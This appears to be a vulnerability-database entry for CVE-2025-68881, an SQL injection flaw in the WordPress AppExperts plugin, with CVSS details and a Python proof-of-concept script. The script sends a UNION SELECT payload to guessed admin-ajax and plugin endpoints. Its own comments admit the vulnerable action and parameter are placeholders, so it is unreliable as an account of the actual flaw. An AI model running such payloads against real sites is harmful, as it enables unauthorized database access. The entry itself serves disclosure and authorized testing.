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CVE-2025-68881 CVSS 8.5 HIGH

CVE-2025-68881

Published: 2026-01-22 17:16:13
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal AppExperts appexperts allows SQL Injection.This issue affects AppExperts: from n/a through <= 1.4.5.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

AppExperts <= 1.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68881 SQL Injection PoC for WordPress AppExperts Plugin # Target: WordPress site with AppExperts plugin <= 1.4.5 def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-68881 This demonstrates the vulnerability in AppExperts plugin's parameter handling """ # Common WordPress endpoint patterns for plugin functionality endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php', '/wp-content/plugins/appexperts/' ] # SQL Injection payload - extracts database version # The actual vulnerable parameter needs to be identified sqli_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,@@version,10,11,12-- -" print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-68881: SQL Injection in AppExperts Plugin") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Example POST/GET request with malicious parameter params = { 'action': 'appexperts_get_data', # Example action name 'id': sqli_payload # Vulnerable parameter } try: print(f"\n[*] Testing endpoint: {url}") response = requests.get(url, params=params, timeout=10) # Check for SQL error messages indicating vulnerability if 'SQL' in response.text or 'mysql' in response.text.lower() or 'syntax' in response.text: print(f"[!] Potential SQL Injection detected!") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68881_poc.py <target_url>") print("Example: python cve-2025-68881_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target)

References

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